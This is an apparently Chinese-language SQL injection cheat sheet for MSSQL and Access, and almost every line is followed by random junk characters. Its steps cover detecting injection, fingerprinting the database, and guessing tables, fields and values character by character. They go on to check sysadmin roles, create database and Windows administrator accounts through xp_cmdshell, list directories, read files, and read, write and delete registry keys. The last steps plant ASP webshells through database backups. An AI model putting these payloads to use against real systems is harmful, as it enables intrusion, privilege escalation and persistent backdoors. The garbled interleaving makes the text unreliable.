1.判断是否有注入;and 1=1 ;and 1=2 L&l>?"_
2.初步判断是否是mssql ;and user>0 |GIT{_JE
')_jK',1
3.注入参数是字符'and [查询条件] and ''=' AX6e}-S1n
5^pQ=Sgt
4.搜索时没过滤参数的'and [查询条件] and '%25'=' eK]GyY/Y
Z$2mVRS`c
5.判断数据库系统 ofS9h*wrJ
csYIC Lj
;and (select count(*) from sysobjects)>0 mssql m^p
Q55,
fz<Y9h=
;and (select count(*) from msysobjects)>0 access _oR6^#5#
5o&L|7]
NAL%qQ
5-n N8qs
6.猜数据库 ;and (select Count(*) from [数据库名])>0 $U!w#|&
x`a@h\n
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 d
;ry!X
e;Q~P]x
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 w:pc5N>we0
NJn~XCq
9.(1)猜字段的ascii值(access) =PXNg!B}D*
0\u_\%[
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 F*}b),
3<B{-z
(2)猜字段的ascii值(mssql) Ie` `Wb=
p_tMl%K
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 P^+Og_$
*,mbZE=<
10.测试权限结构(mssql) \}Hk`n)Aq
b@nbXm]Z
S&@~F|
;b(/PH!O
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ZN^9w"A
BC&Et62*
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- g~N)~]0{
~KEnZa0
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- hX_;gR&R
>C@fSmnOM
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- a ipvG
]5c|
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- fyT! /
IiSO{
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3vDV
852$Ui|I
;and 1=(select IS_MEMBER('db_owner'));-- .] 5&\
ZO:{9vt=/
Q"%L
%x L3=4\
11.添加mssql和系统的帐户 J>x)J}:;
v^JyVf>
;exec master.dbo.sp_addlogin username;-- %J3#4gG^v
;exec master.dbo.sp_password null,username,password;-- Xo }w$q5
,8@@r7
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- <#sB ;
CfA
F.H
;exec master.dbo.xp_cmdshell 'net user username password S =eP/
*9*6n\~aI
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >(*jL
<Eq^rh
;exec master.dbo.xp_cmdshell 'net user username password /add';-- rXvvJIbi
l0Y(9(M@
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- foaNB=,
(iH5F9WO
^h=;]vxO
65qH
12.(1)遍历目录 v='7.A
4TUe*F@
ML
;create table dirs(paths varchar(100), id int) Z3"f7l6
Ix-FJF-
;insert dirs exec master.dbo.xp_dirtree 'c:\' dEns|r
si0jXue~j\
;and (select top 1 paths from dirs)>0 XW`&1qx
X=_N7!
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ;\(wJ{u?Y
,c}Q;eYc3
`<q{8
PJ9JRG7j
(2)遍历目录 H?M8j] R-)
r's4-\
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- naW}[y*y;
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 G$Z8k,g+<7
(8k3z`
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 k2p{<SO;
GXJJOy1"!
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 P7<~S8)Y
zLC\Rc4
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 )=ZWn,ZB
wIL5-k,
^BSMlKyB
wQ@@|Cj4L
13.mssql中的存储过程 .,UpI|b
rEz=\yY^j'
xp_regenumvalues 注册表根键, 子键 B4_0+K H
X|@|ZRN
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 &PgbFy
tJ[Hcx*N
xp_regread 根键,子键,键值名 KGzBK:
!&ac}uD^g
;exec xp_regread M%sWtgw(
pgfI1`h
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 tb^3-ZUb
XEY((VL0
xp_regwrite 根键,子键, 值名, 值类型, 值 zEpcJHI%
<JDkvpckx.
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Z3T:R"l;
\} P} H
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 OT\[qaK
r4D6g>)h1q
xp_regdeletevalue 根键,子键,值名 l^WFMeMD3a
,B h[jb`y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 2U)H2%
teQ%t~PJ-&
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 66Huqo
R/A40i
q?e97 a
~g~z"!K
14.mssql的backup创建webshell VctAQ|h^
DpoRR`
use model b:WlB[5
rW&8#&
create table cmd(str image); > & \QLo[5
G}AfCd4
insert into cmd(str) values (''); ^+Ec}+ Q
LKFL2|af
backup database model to disk='c:\l.asp'; x$ ?{)EY
J$v0
wYOSaGyZ0I
[D^KM|I%+
15.mssql内置函数 (KK9/k
7P.C~,+D%P
;and (select @@version)>0 获得Windows的版本号 YSs9BF:a
$:t;WXc.<
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Nq"/:3@4
xW#r)aN]p
;and (select user_name())>0 爆当前系统的连接用户 W{?7Pn?1`
*R0Ae 4
;and (select db_name())>0 得到当前连接的数据库 8 U B?X
=VH, i/@
9Psy$
m+s^K{k}
16.简洁的webshell htq#( M
KaZ$!JfT
use model 3z!\Z[
BJ @tUn
create table cmd(str image); w`UB_h#Bl
Tmg~ZI:MW
insert into cmd(str) values (''); .3t[M0sd
vLXN{ ]
backup database model to disk='g:\wwwtest\l.asp';